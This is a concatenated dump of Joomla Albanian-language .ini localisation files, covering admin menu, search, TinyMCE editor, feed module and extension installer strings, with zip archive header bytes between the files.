MOD_MENU_FIELD_SHOWHELP_DESC="Show or hide the Help menu which includes links to various joomla.org sites useful to users." MOD_MENU_FIELD_SHOWNEW="Add New Shortcuts" MOD_MENU_FIELD_SHOWNEW_DESC="Show or hide various 'Add New...' shortcuts against users, groups, access levels, articles and categories." MOD_MENU_GLOBAL_CHECKIN="Miratimi i përgjithshëm" MOD_MENU_HELP="Ndihmë" MOD_MENU_HELP_COMMUNITY="Community Portal" MOD_MENU_HELP_CURRENT="Help with this page" MOD_MENU_HELP_DEVELOPER="Developer Resources" MOD_MENU_HELP_DOCUMENTATION="Documentation Wiki" MOD_MENU_HELP_EXTENSIONS="Joomla Extensions" MOD_MENU_HELP_JOOMLA="Joomla Help" MOD_MENU_HELP_LINKS="Useful Joomla links" MOD_MENU_HELP_RESOURCES="Joomla Resources" MOD_MENU_HELP_SECURITY="Security Center" MOD_MENU_HELP_SHOP="Joomla Shop" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Official Support Forum" ; the string below will be used if the localized sample data contains an URL for the desired community forum or if the 'Custom Support Forum' field parameter in the Admin Menu module contains an url MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Custom Support Forum" ; the string below will be used if MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE has a value, i.e the # of the specific language forum in forum.joomla.org MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Official [language] forum" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="" MOD_MENU_HELP_TRANSLATIONS="Joomla Translations" MOD_MENU_HOME_DEFAULT="Home" MOD_MENU_HOME_MULTIPLE="Warning! Multiple homes!" MOD_MENU_LOGOUT="Dil" MOD_MENU_MASS_MAIL_USERS="Mass Mail Users" MOD_MENU_MEDIA_MANAGER="Media" MOD_MENU_MENUS="Menytë" MOD_MENU_MENU_MANAGER="Meny" MOD_MENU_MENU_MANAGER_NEW_MENU="Add New Menu" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Add New Menu Item" MOD_MENU_NEW_PRIVATE_MESSAGE="Mesazh i ri privat" MOD_MENU_PURGE_EXPIRED_CACHE="Purge Expired Cache" MOD_MENU_READ_PRIVATE_MESSAGES="Read Private Messages" MOD_MENU_SITE="Faqja" MOD_MENU_MAINTENANCE="Maintenance" MOD_MENU_SYSTEM_INFORMATION="Informacion sistemi" MOD_MENU_TOOLS="Veglat" MOD_MENU_USER_PROFILE="My Profile" MOD_MENU_XML_DESCRIPTION="Ky modul tregon modulin kryesor të lundrimit administrativ" PK@y>\k'hh/language/sq-AL/sq-AL.plg_search_content.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Kërko - Përmbajtja" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Aktivizon kërkimin brenda artikujve" PK@y>\-VJJ'language/sq-AL/sq-AL.com_cpanel.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Paneli i kontrollit" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\eSҜ*language/sq-AL/sq-AL.plg_content_geshi.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Nxjerr kodin e formatuem n'artikuj mbështetë në motorin e zdritimit GeSHi" PK@y>\ 'language/sq-AL/sq-AL.com_search.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_SEARCH="Kërko" COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC="Display search results." COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION="Normalja" COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE="Search Form or Search Results" COM_SEARCH_XML_DESCRIPTION="Component for search functions" PK@y>\_c6UU)language/sq-AL/sq-AL.com_redirect.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_REDIRECT="Redirect" COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection"PK@y>\=l}}!language/sq-AL/sq-AL.mod_feed.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Pasqyra Feed" MOD_FEED_ERR_CACHE="Please make cache directory writable" MOD_FEED_ERR_NO_URL="No feed URL specified." MOD_FEED_FIELD_DESCRIPTION_DESC="Trego tekstin përshkrues për krejt feed" MOD_FEED_FIELD_DESCRIPTION_LABEL="Përshkrimi feed" MOD_FEED_FIELD_IMAGE_DESC="Trego pamjen e lidhun me krejt feed" MOD_FEED_FIELD_IMAGE_LABEL="Pamja Feed" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Trego përshkrimin ose tekstin hymës të sendeve RSS" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Përshkrimi i sendit" MOD_FEED_FIELD_ITEMS_DESC="Fut numrin e sendeve RSS me nxjerrë" MOD_FEED_FIELD_ITEMS_LABEL="Sendet" MOD_FEED_FIELD_RSSTITLE_DESC="Trego titullin e lajmit feed" MOD_FEED_FIELD_RSSTITLE_LABEL="Titulli feed" MOD_FEED_FIELD_RSSURL_DESC="Enter the URL of the RSS/RDF/ATOM feed" MOD_FEED_FIELD_RSSURL_LABEL="Adresa feed" MOD_FEED_FIELD_RTL_DESC="Nxirri feeds në drejtim RTL" MOD_FEED_FIELD_RTL_LABEL="feed RTL" MOD_FEED_FIELD_WORDCOUNT_DESC="T'lejon me kufizue sasinë e tekstit përshkrues që duket. 0 asht me e nxjerrë krejt." MOD_FEED_FIELD_WORDCOUNT_LABEL="Fjalët" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" PK@y>\,$$,language/sq-AL/sq-AL.plg_editors_tinymce.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_BUTTON_TOGGLE_EDITOR="Ndrro editorin" PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="The file name %s was entered in the TinyMCE Custom CSS field. This file could not be found in the default template folder. No styles are available." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="S'u gjet dokumenti 'editor.css' te direktoria e ftyrave ose templates/system. S'ka stile gati." PLG_TINY_FIELD_ADVIMAGE_DESC="Ndez/fik dialogun e pamjeve të përparueme" PLG_TINY_FIELD_ADVIMAGE_LABEL="Pamje e përparueme" PLG_TINY_FIELD_ADVLINK_DESC="Ndez/fik dialogun e nyjeve të përparueme" PLG_TINY_FIELD_ADVLINK_LABEL="Nyje e përparueme" PLG_TINY_FIELD_ADVLIST_DESC="Turn on/off to enable to set number formats and bullet types in ordered and unordered lists" PLG_TINY_FIELD_ADVLIST_LABEL="Advanced List" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Turn on/off Blockquotes" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Blockquote" PLG_TINY_FIELD_COLORS_DESC="Show/Hide the Colours control buttons. Only applies in Extended mode" PLG_TINY_FIELD_COLORS_LABEL="Colours" PLG_TINY_FIELD_CONTEXTMENU_DESC="Ndez/fik kontekstin e menysë" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Kontekst meny" PLG_TINY_FIELD_CSS_DESC="By default the Plug-in looks for an editor.css file. If it cannot find one in the default template css folder, it loads the editor.css file from the system template." PLG_TINY_FIELD_CSS_LABEL="Klasat CSS të template-ve" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Optional CSS file that will override the standard editor.css file. Enter a file name to point to a file in the CSS folder of the default template (for example, templates/beez_20/css/). Or enter a full URL path to the custom CSS file. If you enter a value in this field, this file will be used instead of the editor.css file." PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Klasat e veçanta CSS" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Shto buton(a)" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Buton" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Shto plugin(a)" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Plugin" PLG_TINY_FIELD_DATE_DESC="Show/Hide the Insert Date button. Only works in Extended mode." PLG_TINY_FIELD_DATE_LABEL="Fut datën" PLG_TINY_FIELD_DATEFORMAT_DESC="Format of inserted date. Only works in Extended Mode." PLG_TINY_FIELD_DATEFORMAT_LABEL="Formati i datës" PLG_TINY_FIELD_DIRECTION_DESC="Choose default text direction" PLG_TINY_FIELD_DIRECTION_LABEL="Drejtimi i tekstit" PLG_TINY_FIELD_ELEMENTS_DESC="Allows the addition of specific valid elements to the existing rule set." PLG_TINY_FIELD_ELEMENTS_LABEL="Elementet e vlefshme të zgjanueme" PLG_TINY_FIELD_ENCODING_DESC="Controls how HTML entities are encoded. Recommended setting is 'raw'. 'named' = used named entity encoding (for example, '<'). 'numeric' = use numeric HTML encoding (for example, '%03c'). raw = Do not encode HTML entities. Note that searching content may not work properly if setting is not 'raw'." PLG_TINY_FIELD_ENCODING_LABEL="Enkodim njësie" PLG_TINY_FIELD_FONTS_DESC="Trego/fsheh zgjedhësit e fonteve. Zbatohet vetëm në mënyrën e zgjanueme" PLG_TINY_FIELD_FONTS_LABEL="Fonte" PLG_TINY_FIELD_FULLSCREEN_DESC="Show/Hide the Fullscreen button. Only works in Extended mode." PLG_TINY_FIELD_FULLSCREEN_LABEL="Ekran" PLG_TINY_FIELD_FUNCTIONALITY_DESC="Zgjidh funksionalitetin" PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Funksionaliteti" PLG_TINY_FIELD_HR_DESC="Trego/fsheh butonin e vizores horizontale" PLG_TINY_FIELD_HR_LABEL="Vizore horizontale" PLG_TINY_FIELD_HTMLHEIGHT_DESC="Height of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLHEIGHT_LABEL="Naltësia HTML" PLG_TINY_FIELD_HTMLWIDTH_DESC="Width of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLWIDTH_LABEL="Gjanësia HTML" PLG_TINY_FIELD_INLINEPOPUPS_DESC="Krejt dialogjet me u hapë si shtresa pluskuese DIV në vend të dritareve. Ky opsion mund të jetë shum i dobishëm për me iu shmangë bllokuesve të dritareve." PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Dritare brendie" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Parametrat e përparueme" PLG_TINY_FIELD_LANGCODE_DESC="Gjuha e ftyrës së editorit. Nji vlerë këtu asht e detyrueshme nëse vehet përzgjedhj manuale" PLG_TINY_FIELD_LANGCODE_LABEL="Kodi i gjuhës" PLG_TINY_FIELD_LANGSELECT_DESC="Nëse po, gjuha e editorit ka me u përputhë automatikisht me gjuhën e ftyrës. Mos e aktivizo nëse s'janë instalue gjuhët e përshtatshme t'editorit." PLG_TINY_FIELD_LANGSELECT_LABEL="Zgjedhje automatike gjuhe" PLG_TINY_FIELD_LAYER_DESC="Show/Hide the Add new Layer button. Only works in Extended mode." PLG_TINY_FIELD_LAYER_LABEL="Shtresa" PLG_TINY_FIELD_MEDIA_DESC="Trego/fsheh butonin e medias. Zbatohet vetëm në mënyrën e zgjanueme" PLG_TINY_FIELD_MEDIA_LABEL="media" PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Opsionet e mënyrës së zgjanueme
      Këta opsione zbatohen vetëm në mënyrën e zgjanueme." PLG_TINY_FIELD_NEWLINES_DESC="Rreshtat e ri kanë me u krijue tue përdorë opsionin e përzgjedhun" PLG_TINY_FIELD_NEWLINES_LABEL="Rreshtat e ri" PLG_TINY_FIELD_NONBREAKING_DESC="Fut njësi t'pathyeshme hapësine" PLG_TINY_FIELD_NONBREAKING_LABEL="T'pathyeshme" PLG_TINY_FIELD_PASTE_DESC="Trego/fsheh butonet e kopjimit. Zbatohet vetëm në mënyrën e zgjanueme" PLG_TINY_FIELD_PASTE_LABEL="Kopjo" PLG_TINY_FIELD_PATH_DESC="If set to ON, it displays the set classes for the marked text." PLG_TINY_FIELD_PATH_LABEL="Rrugina e elementit" PLG_TINY_FIELD_PROHIBITED_DESC="Elements that will be cleaned from the text. Do not leave empty - if you do not want to prohibit anything enter dummy text e.g.cms" PLG_TINY_FIELD_PROHIBITED_LABEL="Elementat e ndaluem" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Enable/disable the horizontal resizing." PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Horizontal resizing" PLG_TINY_FIELD_RESIZING_DESC="Enable/disable the resizing button." PLG_TINY_FIELD_RESIZING_LABEL="Resizing" PLG_TINY_FIELD_RTL_DESC="Select whether to display the RTL button. Only Works in Extended mode" PLG_TINY_FIELD_RTL_LABEL="Drejtueshmënia" PLG_TINY_FIELD_SAFARI_DESC="Ndez/fik pluginin e kompatibilitetit Safari" PLG_TINY_FIELD_SAFARI_LABEL="Kompatibilitet Safari" PLG_TINY_FIELD_SAVEWARNING_DESC="Rueje paralajmërimin - t'paralajmon nëse zhban pa i ruejtë ndryshimet" PLG_TINY_FIELD_SAVEWARNING_LABEL="Rueje paralajmërimin" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Show/Hide the Search & Replace button. Only works in Extended mode." PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Kërko-ndrro" PLG_TINY_FIELD_SKIN_DESC="Zgjidh ftyrën" PLG_TINY_FIELD_SKIN_LABEL="Ftyra" PLG_TINY_FIELD_SMILIES_DESC="Show/Hide the smilies buttons. Only works in Extended mode." PLG_TINY_FIELD_SMILIES_LABEL="Buzqeshjet" PLG_TINY_FIELD_STYLE_DESC="Show/Hide the CSS Style control button. Only works in Extended mode." PLG_TINY_FIELD_STYLE_LABEL="Stili" PLG_TINY_FIELD_TABLE_DESC="Show/Hide the table control buttons. Only works in Extended mode." PLG_TINY_FIELD_TABLE_LABEL="Tabela" PLG_TINY_FIELD_TEMPLATE_DESC="Trego/fsheh butonin e shtimit të shtresës së re. Punon vetëm në mënyrë të përparueme." PLG_TINY_FIELD_TEMPLATE_LABEL="Ftyar" PLG_TINY_FIELD_TIME_DESC="Show/Hide the Insert Time button. Only works in Extended mode." PLG_TINY_FIELD_TIME_LABEL="Fut kohën" PLG_TINY_FIELD_TIMEFORMAT_DESC="Format of inserted time. Only works in Extended Mode" PLG_TINY_FIELD_TIMEFORMAT_LABEL="Formati i kohës" PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Rreshtimi i shiritit" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Rreshtim shiriti" PLG_TINY_FIELD_TOOLBAR_DESC="Vendi i shiritit" PLG_TINY_FIELD_TOOLBAR_LABEL="Shiriti" PLG_TINY_FIELD_URLS_DESC="Sjellja e nyjeve" PLG_TINY_FIELD_URLS_LABEL="Nyjet" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absolut" PLG_TINY_FIELD_VALUE_ADVANCED="E përparueme" PLG_TINY_FIELD_VALUE_ALWAYS="Gjithmonë" PLG_TINY_FIELD_VALUE_BLACK="Office2007 zi" PLG_TINY_FIELD_VALUE_BLUE="Office2007 blu" PLG_TINY_FIELD_VALUE_BOTTOM="Poshtë" PLG_TINY_FIELD_VALUE_BR="BR Elemente" PLG_TINY_FIELD_VALUE_CENTER="Qendër" PLG_TINY_FIELD_VALUE_DEFAULT="Normalja" PLG_TINY_FIELD_VALUE_EXTENDED="Shtri" PLG_TINY_FIELD_VALUE_FRONT="Front Only" PLG_TINY_FIELD_VALUE_LEFT="Majtas" PLG_TINY_FIELD_VALUE_LTR="Prej majtas djathtas" PLG_TINY_FIELD_VALUE_NAMED="emnue" PLG_TINY_FIELD_VALUE_NEVER="Kurrë" PLG_TINY_FIELD_VALUE_NUMERIC="numerik" PLG_TINY_FIELD_VALUE_P="P Elemente" PLG_TINY_FIELD_VALUE_RAW="bruto" PLG_TINY_FIELD_VALUE_RELATIVE="relative" PLG_TINY_FIELD_VALUE_RIGHT="Djathtas" PLG_TINY_FIELD_VALUE_RTL="Prej djathtas majtas" PLG_TINY_FIELD_VALUE_SILVER="Office2007 argjend" PLG_TINY_FIELD_VALUE_SIMPLE="E thjeshtë" PLG_TINY_FIELD_VALUE_TOP="Maje" PLG_TINY_FIELD_VISUALCHARS_DESC="Possibility to see invisible characters, specifically non-breaking spaces." PLG_TINY_FIELD_VISUALCHARS_LABEL="visualchars" PLG_TINY_FIELD_WORDCOUNT_DESC="Turn on/off Wordcount" PLG_TINY_FIELD_WORDCOUNT_LABEL="Wordcount" PLG_TINY_FIELD_XHTMLXTRAS_DESC="Show/Hide the additional XHTML features. Only works in Extended mode." PLG_TINY_FIELD_XHTMLXTRAS_LABEL="XHTMLxtras" PLG_TINY_XML_DESCRIPTION="TinyMCE asht nji editor interneti JavaScript HTML WYSIWYG i pavarun nga platforma." PK@y>\:Z(language/sq-AL/sq-AL.mod_popular.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." MOD_POPULAR="Artikuj popullorë" MOD_POPULAR_LAYOUT_DEFAULT="Normalja" PK@y>\گ99&language/sq-AL/sq-AL.com_installer.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_AUTHOR_INFORMATION="Author Information" COM_INSTALLER_CONFIGURATION="Installer configuration" COM_INSTALLER_ENABLED_UPDATES_1=", 1 disabled site was enabled" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s disabled sites were enabled" COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="Disable default template is not permitted" COM_INSTALLER_ERROR_METHOD="Metodë e pazbatueme" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="No extensions selected" COM_INSTALLER_EXTENSION_PUBLISHED="Extension successfully enabled." COM_INSTALLER_EXTENSION_UNPUBLISHED="Extension successfully disabled." COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", failed to enable updates" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Failed to purge updates" COM_INSTALLER_HEADER_DATABASE="Extension Manager: Check Database" COM_INSTALLER_HEADER_DISCOVER="Extension Manager: Discover" COM_INSTALLER_HEADER_INSTALL="Extension Manager: Install" COM_INSTALLER_HEADER_MANAGE="Extension Manager: Manage" COM_INSTALLER_HEADER_UPDATE="Extension Manager: Update" COM_INSTALLER_HEADER_WARNINGS="Extension Manager: Warnings" COM_INSTALLER_HEADING_CLIENT="Klienti" COM_INSTALLER_HEADING_LOCATION="Location" COM_INSTALLER_HEADING_DETAILSURL="URL Details" COM_INSTALLER_HEADING_FOLDER="Dosja" COM_INSTALLER_HEADING_ID="id" COM_INSTALLER_HEADING_INSTALLTYPE="Install Type" COM_INSTALLER_HEADING_NAME="Emni" COM_INSTALLER_HEADING_TYPE="Lloji" COM_INSTALLER_INSTALL_BUTTON="Instalo" COM_INSTALLER_INSTALL_DIRECTORY="Direktoria e instalimit" COM_INSTALLER_INSTALL_ERROR="Error installing %s" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Instalo prej direktorisë" COM_INSTALLER_INSTALL_FROM_URL="Instalo prej nyjes" COM_INSTALLER_INSTALL_SUCCESS="Installing %s was successful." COM_INSTALLER_INSTALL_URL="Nyja e instailmit" COM_INSTALLER_INVALID_EXTENSION_UPDATE="Invalid extension update" COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Hide protected extensions. Protected extensions can't be uninstalled." COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Hide protected extensions" COM_INSTALLER_MSG_DESCFTP="For installing or uninstalling Extensions, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_INSTALLER_MSG_DESCFTPTITLE="T'dhanat e hymjes FTP" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s database changes were checked successfully." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s database changes did not alter table structure and were skipped." COM_INSTALLER_MSG_DATABASE_DRIVER="Database driver: %s." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Database schema version (in #__schemas): %s." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Update version (in #__extensions): %s." COM_INSTALLER_MSG_DATABASE_OK="Database table structure is up to date." COM_INSTALLER_MSG_DATABASE="This screen allows to you check that your database table structure is up to date with changes from the previous versions." COM_INSTALLER_MSG_DATABASE_ERRORS="Warning: Database is not up to date!" COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="Table %2$s does not have column %3$s with type %4$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="Table %2$s does not exist. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="Table %2$s does not have column %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_INDEX="Table %2$s does not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_DROP_INDEX="Table %2$s should not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="No default text filters found." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="Database update version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DATABASE_INFO="Other Information" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="%d Database Problems Found" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="1 Database Problem Found" COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="Database schema version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="This screen allows you to discover extensions that have not gone through the normal installation process.
      For example, some extensions are too large in file size to upload using the web interface due to limitations of the web hosting environment. Using this feature you can upload extension files directly to your web server using some other means such as FTP or SFTP and place those extension files into the appropriate directory.
      You can then use the discover feature to find the newly uploaded extension and activate it in your Joomla! installation.
      Using the discover operation you can also discover and install multiple extensions at the same time." COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Failed to purge extensions" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="Discover install failed" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="Discover install successful" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="No extensions have been discovered. Click Discover to find new extensions that might be available for install." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="No extension selected" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Purged discovered extensions" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Fut nji nyje" COM_INSTALLER_MSG_INSTALL_INVALID_URL="Nyje e pavlefshme" COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="S'u përzgjodh ndonji dokument" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="Rrugina s'ka ndonji paketë të vlefshme." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Fut direktorinë e paketës" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Zgjidh nji direktori" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Please select a package location" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="Instaluesi s'mund të vazhdojnë derisa ngarkimet e dokumentave t'aktivizohen për serverin." COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="Pati nji gabim në ngarkimin e dokumentit në server." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="Instaluesi s'mund të vazhdojnë përderisa të instalohet Zlib." COM_INSTALLER_MSG_MANAGE_NOEXTENSION="There are no extensions installed matching your query" COM_INSTALLER_MSG_UPDATE_ERROR="Error updating %s." COM_INSTALLER_MSG_UPDATE_NODESC="No description available for this item." COM_INSTALLER_MSG_UPDATE_NOUPDATES="There are no updates available at the moment. Please check again later." COM_INSTALLER_MSG_UPDATE_SUCCESS="Updating %s was successful." COM_INSTALLER_MSG_UPDATE_UPDATE="Update" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED="File uploads disabled" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC="File uploads are required to upload extensions into the installer." COM_INSTALLER_MSG_WARNINGFURTHERINFO="Further information on warnings" COM_INSTALLER_MSG_WARNINGFURTHERINFODESC="For more information on warnings, see the Joomla! Documentation Site" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="The Joomla! temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="The Joomla! temporary directory is where Joomla! copies an extension, extracts the extension and the files are copied into the correct directories. If this configuration is not set in configuration.php ($tmp_path) then you won't be able to upload extensions. Create a directory to enable Joomla! to write to the directory to fix the issue." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="Joomla temporary directory not writable or does not exist" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="The Joomla temporary directory is not writeable by the Joomla! instance, or may not exist, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, make sure the directory defined in your configuration.php exists or check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="Low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="Your PHP memory limit is set below 8MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="Potentially low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="Your PHP memory limit is set below 16MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="Small PHP maximum POST size" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="The maximum POST size sets the most amount of data that can be sent via POST to the server. This includes form submissions for articles, media (images, videos) and extensions. This value is less than 2MB which may impact on uploading large extensions. This is set in the php.ini under post_max_size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="Small PHP file upload size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="The maximum file size for uploads is set to less than 2MB which may impact on uploading large extensions." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="PHP Upload Size bigger than POST size" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="The value of the upload_max_filesize in the php.ini file is greater than the post_max_size variable. The post_max_size variable will take precedence here and block requests larger than it. This is generally a server misconfiguration when trying to increase upload sizes. Please increase the upload_max_filesize to at least match the post_max_size variable or vice versa" COM_INSTALLER_MSG_WARNINGS_NONE="No warnings detected" COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

      Warning: Update Not Complete!

      The update is only partially complete. Please do the second update to complete the process.

      " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="The PHP temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="The PHP temporary directory is the directory that PHP uses to store an uploaded file before Joomla! can access this file. Whilst the directory not being set isn't always a problem, if you are having issues with manifest files not being detected or uploaded files not being detected, setting this in your php.ini file might fix the issue." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="The PHP temporary directory is not writeable" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="The PHP temporary directory is not writeable by the Joomla! instance, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d extensions successfully enabled." COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d extension successfully enabled." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d extensions successfully disabled." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d extension successfully disabled." COM_INSTALLER_NEW_INSTALL="New install" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="S'u gjet ndonji lloj instalimi" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Package download failed: %s" 